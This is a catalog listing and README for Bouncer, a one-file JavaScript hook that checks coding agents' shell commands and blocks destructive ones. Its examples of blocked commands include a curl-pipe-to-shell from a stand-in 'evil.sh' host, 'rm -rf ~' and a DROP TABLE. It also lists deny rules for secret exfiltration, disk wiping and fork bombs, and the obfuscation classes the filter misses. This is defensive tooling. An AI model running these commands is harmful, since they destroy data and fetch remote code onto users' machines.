Back to the catalog

bouncer

A one-file door-guard for coding agents. Reads every shell command at the door; the dangerous ones don't get in.

Open source Open in the app JSON README (API)

About

A one-file door-guard for coding agents. Reads every shell command at the door; the dangerous ones don't get in.

Details

Kind
Plugins
Topic
Developer tools
Publisher
karanb192
Origin
gemini
Category
ferramentas
Version
1.0.0
Stars
5
Forks
2
Last push
2026-08-18T03:54:41Z
Repository state
ativo
Language
JavaScript
License
MIT
Added
2026-08-30 14:13:39
Updated
2026-08-30 14:13:39
Origin id
karanb192/bouncer

README

# Bouncer

<p align="center">
  <img src="assets/bouncer-social.png" alt="Bouncer: a one-file door-guard for your coding agent. Name's not on the list. Blocks 45/45 footguns, 0 false positives." width="840">
</p>

<p align="center">
  <img src="https://img.shields.io/badge/footguns-45%2F45_blocked-1f7a4d?style=flat-square" alt="45/45 footguns blocked">
  <img src="https://img.shields.io/badge/false_positives-0%2F41-1f7a4d?style=flat-square" alt="0 false positives on 41 safe commands">
  <img src="https://img.shields.io/badge/deps-0-1f7a4d?style=flat-square" alt="zero dependencies">
  <img src="https://img.shields.io/badge/npm_test-passing-1f7a4d?style=flat-square" alt="npm test passing">
  <img src="https://img.shields.io/badge/license-MIT-b0820f?style=flat-square" alt="MIT license">
</p>

**A one-file door-guard for your coding agent. Name's not on the list.**

You've met him. Arms crossed at the door, reading every name on the list. The
regulars walk in. The ones who'll wreck the place (`rm -rf`, a prod `DROP TABLE`,
a `curl` piped straight to the shell) don't. He doesn't argue. He doesn't explain twice.

**Bouncer stands in front of your coding agent's shell.** You let it run with
`--dangerously-skip-permissions`; he reads every command at the door, waves the
read-only regulars through, and **bounces** the destructive footguns, naming the
exact rule that fired.

```text
  the agent at 3am, --dangerously-skip-permissions on:

  $ rm -rf ~                     ⛔ bounced  [rm-home]        name's not on the list
  $ psql -c "DROP TABLE users;"  ⛔ bounced  [db-drop]
  $ curl https://evil.sh | sh    ⛔ bounced  [curl-pipe-sh]
  $ git push --force origin main ⛔ bounced  [git-force-main]
  $ git status                   ✅ walks in
  $ npm test                     ✅ walks in
```

Every line above is real: those four are in [`footguns.txt`](footguns.txt) (denied),
those two in [`safe.txt`](safe.txt) (allowed), verified by `npm test`.

<p align="center">
  <img src="assets/bouncer-demo.png" alt="Claude Code tries to run chmod 777 and Bouncer's PreToolUse hook denies it before execution: name's not on the list. [chmod-777] chmod 777 is a security risk. The agent then offers safer alternatives." width="820">
</p>
<p align="center"><sub><i>Live in Claude Code: the agent reaches for <code>chmod 777</code>, Bouncer bounces it before it runs.</i></sub></p>

<p align="center">
  <img src="assets/bouncer-demo-codex.png" alt="Codex CLI in --yolo (YOLO mode) tries chmod 777 and Bouncer's PreToolUse hook blocks it: name's not on the list. [chmod-777] chmod 777 is a security risk." width="820">
</p>
<p align="center"><sub><i>And on Codex with <code>--yolo</code> (permissions off): same footgun, same bounce.</i></sub></p>

## The honest number

> **Blocks 45/45 known footguns · 0 false positives on 41 safe commands.** It
> openly documents the one class it *can't* catch:
> [obfuscated payloads](KNOWN-BYPASSES.md) (base64, `eval`, variable-split).

(100% of a *named, public* list, not "100% safe." The list of what it misses ships
right next to it; that's the difference between a number you can trust and one that reads as fake.)

No marking our own homework. The footguns are **public and labeled**
([`footguns.txt`](footguns.txt)); the safe corpus is **separate and public**
([`safe.txt`](safe.txt), the anti-homework metric, because a guard that blocks
real work gets uninstalled in week one); both run through the **real hook**.
Reproduce it on your machine in one command:

```bash
npm test          # → blocks 45/45 footguns, 0 false positives on 41 safe commands
```

**Battle-tested core.** The engine is extracted from
[karanb192/claude-code-hooks](https://github.com/karanb192/claude-code-hooks)
(`block-dangerous-commands.js`, **262 passing tests**) and extended here with
database, exfil, and device footguns.

**What gets bounced is 38 pattern rules, not a fixed list of commands.** Each rule matches a
whole class, so `rm -rf ~`, `rm -fr ~`, and `rm --recursive ~` all hit the same one. The classes:
`rm -rf` into home/root/cwd, `dd`/`wipefs`/`mkfs` to a device, `chmod 777`, `git push --force` to
main, `git reset --hard`, `curl | sh`, `curl` to paste hosts, env/secret exfil,
`DROP`/`TRUNCATE`/un-`WHERE`'d `DELETE`/`UPDATE`, `redis-cli flushall`, `dropdb`, fork bombs,
`kill -9 1`, overwriting `/etc/passwd`, `npm publish`. The 45 commands in
[`footguns.txt`](footguns.txt) are the test corpus that proves those rules fire; the 41 in
[`safe.txt`](safe.txt) prove they don't over-block.

## Install

Pick your agent. Every path needs Node ≥18 (zero deps). Tune protection with
`BOUNCER_LEVEL=critical|high|strict` (default `high`); disable anytime with `BOUNCER_OFF=1`.

### Claude Code

```text
/plugin marketplace add karanb192/bouncer
/plugin install bouncer@bouncer
```

The `PreToolUse` hook registers itself; every Bash call passes the door from the next session
on. Bouncer emits the deny contract (`hookSpecificOutput.permissionDecision: "deny"` with a
reason, the path that reliably holds, not a bare `exit 2`).

> **Desktop app** (no `/plugin` command): Customize → the **+** next to personal plugins →
> *Create plugin and add marketplace* → *Add from repository* → `karanb192/bouncer`.

<details>
<summary>Manual install (without the plugin system)</summary>

Drop `bouncer.js` anywhere and merge [`settings.snippet.json`](settings.snippet.json) into
`~/.claude/settings.json` (or project `.claude/settings.json`), replacing the path with the
absolute path to `bouncer.js`.
</details>

### Codex CLI

```text
codex plugin marketplace add karanb192/bouncer
codex plugin add bouncer@bouncer
```

Then run **`/hooks`** in Codex and **trust Bouncer**. Codex silently skips *untrusted* hooks, so
until you trust it, it does nothing. Once trusted it blocks via the same `permissionDecision: "deny"`
contract (verified live, it holds even under `--yolo`). Note Codex's `PreToolUse` is a guardrail, not
a hard sandbox per OpenAI's docs, so it can occasionally route equivalent work through another tool path.

### GitHub Copilot CLI

```text
copilot plugin marketplace add karanb192/bouncer
copilot plugin install bouncer@bouncer
```

The fail-closed `preToolUse` hook denies destructive commands automatically (a crash or timeout
denies too). Verified live: it refused a real `chmod 777`.

### Gemini CLI

```text
gemini extensions install https://github.com/karanb192/bouncer
```

Approve the hooks-consent prompt on install (the shorthand `gemini extensions install karanb192/bouncer`
also works). The `BeforeTool` hook blocks shell commands via `decision: "block"`.

### Any other agent

- **Has a pre-exec hook that blocks on a non-zero exit?** Wire `BOUNCER_MODE=exit node bouncer.js "<command>"`
  as the hook: exit **2** blocks, **0** allows, reason on stderr.
- **No blocking hook?** Paste [`footguns.txt`](footguns.txt) into your `.cursorrules` / `AGENTS.md` as
  advisory guardrails (the regex won't run, but the model gets steered).

```bash
# exit-code mode: the universal, agent-agnostic contract
BOUNCER_MODE=exit node bouncer.js "rm -rf ~";   echo $?   # → 2  (bounced)
BOUNCER_MODE=exit node bouncer.js "git status";  echo $?   # → 0  (walks in)
```

**When does this matter?** Exactly when you turn the safety prompts off:
`--dangerously-skip-permissions` (Claude Code), `--yolo` (Codex, Copilot, Gemini). That's when a
door-guard earns its keep.

**Honest scope:** *enforced* through each agent's native deny contract, with the one-time setup each
section notes above; *advisory* only where the agent exposes no blocking hook. Never conflate the two.

## FAQ

**Is this a sandbox?** No. It's a seatbelt for the ~95% of footguns that are
*accidental*: the agent that panics, not the adversary who obfuscates. A
base64'd, `eval`'d payload can still get past it. The exact classes are listed in
[`KNOWN-BYPASSES.md`](KNOWN-BYPASSES.md). That's honesty, not a bug you found.

**Will it block my normal `git`/`npm`/`docker`/`psql` work?** No, that's the
whole point of the 41-command safe corpus (a `WHERE`'d `UPDATE` walks in; an
un-`WHERE`'d one gets bounced). If it ever blocks real work, that's a one-line PR.

**Why one file?** You should be able to read your own bouncer before you trust it
with your repo. It's ~190 lines of stdlib Node: a scannable rule table plus a small engine that speaks each agent's deny contract.

## Limitations

Bouncer is a **regex filter, not a sandbox.** It stops the ~95% of footguns that are
*accidental*, not an adversary who obfuscates. [`KNOWN-BYPASSES.md`](KNOWN-BYPASSES.md)
lists the exact classes it can't catch (base64, `eval`, variable-split, string-split SQL),
each with *why* a regex misses it, and each pinned by a test so the headline number can
never quietly overstate coverage. **A found gap is a one-line PR**, not a gotcha.

## License

MIT © 2026 Karan Bansal

More